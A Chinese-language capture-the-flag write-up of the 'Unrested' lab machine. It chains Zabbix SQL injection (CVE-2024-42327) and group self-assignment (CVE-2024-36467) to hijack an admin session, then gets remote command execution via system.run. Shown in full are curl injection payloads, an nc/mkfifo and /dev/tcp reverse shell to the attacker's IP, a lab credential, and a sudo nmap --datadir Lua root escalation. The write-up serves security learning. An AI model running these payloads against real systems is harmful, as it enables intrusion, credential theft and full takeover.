机器介绍
1 | Unrested is a medium difficulty `Linux` machine hosting a version of `Zabbix`. |
Nmap
1 | └─$ sudo nmap -sS 10.10.11.50 -p- --min-rate=2000 |
default passord
Zabbix: matthew / 96qzn0h2e1k3
to User
实际上这个box一上来我手贱点了下简介,结果给我剧透了一脸
题目已经很明确的点出了这台要利用CVE-2024-42327
,所以先看下对应的漏洞的产生过程
能看到在7.0.1rc1
漏洞得到了修复,当前机器的版本是7.0.0
尝试搜索相关关键词,找到一个相关的zabbix版本日志
继续在其中搜关键字,可以看到DEV-3776
修复了user.get
的注入漏洞
在zabbix的repo中搜相关commit
编号
进来一眼就能看到有sql语句在下一版中被删了。
往上走看到这是addRelatedObjects
内的
再看谁调用了addRelatedObjects
,就走到了get()
可以看下get()
的逻辑
这里会检测我们是否为admin
,很显然我们不是,而后进入其中,他会判断我们的发包中是editable
是否为真,如果为假则可以查询当前用户所在的用户组内用户id信息,如果为真则只能查看当前用户的userid
信息。
1 |
|
细一点的来说这个内部的判断,就是首先将users_groups
表添加到FROM子句中,别名为ug。
再添加一个子句条件,确保u.userid(用户表中的用户ID)
等于ug.userid(用户组表中的用户ID)
,最后通过一个子查询来限制ug.usrgrpid(用户组ID)
是当前用户所在的用户组。
如果当前用户没有组的话需要启用editable
,不然他就会走去查用户组内id和用户id是否匹配的那里.
所以这里我先尝试了一下当我们前用户应该是没有组别,editable
关闭的时候会校验组,没通过所以返回空。
1 | └─$ curl --request POST \ |
Zabbix部分——非预期解
将editable
打开,让他验证时候查询自身,这样就可以了
1 | └─$ curl --request POST \ |
参照官方文档
https://www.zabbix.com/documentation/6.0/jp/manual/api/reference/user/get
这里我先用extend
拿一下这个注入点的几个字段名
1 | └─$ curl --request POST \ |
相较于之前,这里多了"roleid": "1", "name": "User role", "type": "1", "readonly": "0"
,加上字段让查询有结果,再尝试拼接注入
按照poc的注入字段改为list形式
1 | └─$ curl --request POST \ |
注入ok,然后可以通过zabbix.session表拿到admin
用户的凭证,来做进一步rce
已经得知我们用户id:3
,id:1
自然就是admin了
这里寻找,通过zabbix
可以执行命令达到rce的方式
碎碎念:其实找资料这里也是卡的我很长时间,我找资料的思路感觉还需要练习,算是我的弱点了..明明osint我还蛮擅长的,感觉还是吃了英语的亏,啧
针对zabbix的命令执行方式这里先查了下官方的文档得知
https://www.zabbix.com/documentation/2.2/jp/manual/config/items/itemtypes/zabbix_agent
1 | system.run[command,<mode>] |
system.run
函数可以执行命令,接下来就带上"system.run" zabbix rce "bash"
来寻找rce的相关资料,然后就出来蛮多的,去掉非接口的利用方式,因为我能拿到的凭证就这地方能用的样子
https://github.com/HD421/Monitoring-Systems-Cheat-Sheet/blob/master/Zabbix_spawn_shell_on_agents.md
这里作者用的item.create
创建了一个item
,key_
部分可以执行命令,然后需要hostid
和interfaceid
1 | zapi.login(user, password) |
作者是通过pyzabbix
库的host.get
方法来获取的,这里翻一下官方文档用接口怎么查询hostid和interfaceid
官网文档直接搜interfaceid
,api页面给到了一个example
1 | data.json |
api调用也是用host.get
,所以试一下
1 | └─$ curl --request POST \ |
不知道为啥没有回显,所以注入看下库里的host信息(后来想了下这里是我忘记用admin的auth啦(笑))
找一下interfaceid在哪个表有
1 | └─$ curl --request POST \ |
看字段名,这个interface
表甚至还自带hostid
,好贴心
1 | └─$ curl --request POST \ |
注入拿到interface表信息
1 | └─$ curl --request POST \ |
第一个应当就是他本地的节点,interfaceid 1
和hostid 10084
,居然和官方文档中的一样诶,难道是默认的吗,有趣。
尝试创建item
1 | └─$ curl --request POST --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \ |
nc接收到了revshell
但奇怪的是一秒就掉了
1 | └─$ nc -lnvp 10086 |
看了下文本,应该是加个wait就可以
1 | 切り捨てられる末尾の空白を含めて、最大512KBのデータを返すことができます。 |
我改成这个样子还是不行
1 | system.run[\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 10088 >/tmp/f\",\"wait\"]" |
然后没办法,只好在连上两秒内创建后台进程,成功revshell
1 | /bin/bash -i >& /dev/tcp/10.10.16.8/10087 0>&1 & |
Zabbix部分——预期解
这里可以通过CVE-2024-36467
将自己加到组里
1 | more specifically a user with access to the user.update API endpoint is enough to be able to add themselves to any group |
https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php#L358
1 | public function update(array $users) { |
这里的updateForce
就是更新用户信息的func
https://www.zabbix.com/documentation/7.2/en/manual/api/reference/user/update?hl=user.update
这里我们需要查一下自己的id先,通过刚才的user.get
接口鉴权部分得知,我们可以通过editable
设置为1
来查询到自己的信息。
1 | └─$ curl --request POST \ |
当前用户id
为3
1 | #example |
尝试修改当前用户的name
1 | └─$ curl --request POST \ |
确认一下
1 | └─$ curl --request POST \ |
这里我尝试将roleid修改为1,但是仍旧是底权,修改为其他role提示roleid已经被持有,所以还是要加组。
那现在要做的就是给自己更新组
首先我要确定有哪些组,比较坑的是官方文档里没给默认的组id
不过可以通过轮询来添加,先确定一下update的字段
1 | private function validateUpdate(array &$users, array &$db_users = null) { |
显然他是个套在usrgrps
列表的里的usrgrpid
,也就是说应该可以同时加很多个组,不过为了方便辨别那些组存在我还是单个加。
1 | └─$ curl --path-as-is -i -s -k -X $'POST' \ |
组1,显示没这个组,fuzz一下
1 | └─$ ffuf -request req -request-proto http -w <(seq 0 100) -fs 939 -fs 144 |
得到7,8,9,11,12,13是组
看一下当前的
1 | └─$ curl --request POST \ |
最后跑完是个13组名是internal
,那我们可以写个脚本轮询一下
1 | └─$ for i in {7,8,9,11,12,13};do curl -X POST --url http://10.10.11.50/zabbix/api_jsonrpc.php --header 'Content-Type: application/json-rpc' --data '{"jsonrpc": "2.0", "method":"user.update", "params":{"usrgrps": [{"usrgrpid": '$i'}], "userid": "3"},"auth":"b4353b38f7f909df7cd34a37dceba239", "id": 3}';curl --request POST \ |
可以看到组7
是超管组
替换为7
1 | { |
现在再一次尝试查询,把editable
关掉,再查一波,成功回显组内信息
1 | └─$ curl --request POST \ |
开始注入,这里首先跑一下表
1 | -------------------------(select group_concat(table_name) from information_schema.tables where table_schema=database())": |
user表
1 | (select group_concat(concat_ws(',',userid,username,name,surname,passwd,url,autologin,autologout,lang,refresh,theme,attempt_failed,attempt_ip,attempt_clock,rows_per_page,timezone,roleid,userdirectoryid,ts_provisioned,'|')) FROM zabbix.users)":" |
sessions表
1 | sessionid,userid,lastaccess,status,secret |
这里3是我们当前账户,1对应的admin账户,拿到sessionid可以越权了
to Root
这里进来之后sudo -l
给了个nmap
按照 https://gtfobins.github.io/gtfobins/nmap/ 尝试了下,好像都被ban了
1 | zabbix@unrested:~$ TF=$(mktemp) |
看了下调用的nmap文件
1 | #!/bin/bash |
是有过滤的,但是可以通过--datadir
来实现加载目录重定向,选一个看起来相对主要的文件名拿过来用一下。
这里
https://www.cnblogs.com/liun1994/p/7041373.html
看起来nse_main.lua
应该是作为后续扫描的主要逻辑入口
1 | echo 'os.execute("/bin/sh")'> /tmp/nse_main.lua |
getroot